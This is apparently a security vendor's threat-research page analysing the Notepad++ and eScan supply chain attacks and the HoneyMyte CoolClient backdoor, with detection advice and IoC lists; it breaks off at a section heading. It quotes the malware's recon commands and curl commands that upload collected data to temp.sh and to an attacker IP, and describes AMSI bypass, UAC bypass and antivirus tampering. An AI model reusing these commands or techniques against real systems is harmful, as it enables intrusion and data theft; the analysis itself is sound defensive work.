UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador, and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs
  • proshow.phd
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
• Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

• Changed the system information upload URL to https://self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
• Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• http://95.179.213[.]0/update/install.exe;
• http://95.179.213[.]0/update/update.exe;
• http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

1. Indicators of compromise:
   1. malicious URLs used to extract information from the targeted infrastructure;
   2. malicious file names and hashes that were detected in this campaign.
2. Suspicious activity on the host:
   1. unusual command lines specific to these attacks;
   2. suspicious network activity from Notepad++ processes and an abnormal process tree;
   3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

UPD 30.01.2026: Added technical details about the attack chain and more IoCs.

On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.

Malicious software used in the attack

Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.

The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named “CorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.

How the attackers managed to pull off this attack

At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability — the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.

According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.

Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.

When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:

Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.

eScan antivirus tampering payload

The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:

• Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
• Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
• Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
• Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.

While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.

It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:

Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.

AMSI bypass payload

The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.

Victim validation payload

The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.

If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:

• Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
• Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
  
  

  PowerShell script executed by the CorelDefrag scheduled task (beautified version)

  This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.

When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:

• https://vhs.delrosal[.]net/i
• https://tumama.hns[.]to
• https://blackice.sol-domain[.]org
• https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts

The response to the GET request is not processed.

As such, during installation, the infected machine receives two persistent payloads:

• The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
• The PowerShell-based payload, designed to be launched via a scheduled task

The CONSCTLX.exe persistent payload

This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.

Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:

• https://csc.biologii[.]net/sooc
• https://airanks.hns[.]to

If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.

The PowerShell-based persistent payload

The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named “s” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.

A rarely observed attack vector

Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:

• Get access to the security solution update server.
• Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
• Develop unique implants, tailored to the supply chain attack.

An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.

One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.

How to stay safe?

To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.

The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.

Users of the solution are also advised to block known malware command-and-control server addresses.

Kaspersky’s security solutions, such as Kaspersky Next, successfully detect all malware used by the attackers with its Behavior Detection component.

Indicators of compromise

Network indicators
https://vhs.delrosal[.]net/i
https://tumama.hns[.]to
https://blackice.sol-domain[.]org
https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to

Malicious Reload.exe component hashes
1617949c0c9daa2d2a5a80f1028aeb95ce1c0dee
a928bddfaa536c11c28c8d2c5d16e27cbeaf6357
ebaf9715d7f34a77a6e1fd455fe0702274958e20
96cdd8476faa7c6a7d2ad285658d3559855b168d

Malicious CONSCTLX.exe component hash
2d2d58700a40642e189f3f1ccea41337486947f5

Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log

Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag

Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename	Description
Sang.exe	Legitimate Sangfor application abused for DLL sideloading.
libngs.dll	Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat	Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat	Encrypted configuration file.
main.dat	Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter	Actions
No parameter	·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install	CoolClient decrypts time.dat. Adds new key to the Run registry for persistence mechanism. Creates a process named write.exe. Decrypts and injects loader.dat into a newly created write.exe process. Checks for service control manager (SCM) access. Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe. Installs a service named media_updaten and starts it. If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work	Creates a process named write.exe. Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac	Bypasses UAC and performs privilege elevation. Checks if the machine runs Windows 10 or a later version. Impersonates svchost.exe process by spoofing PEB information. Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter. Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

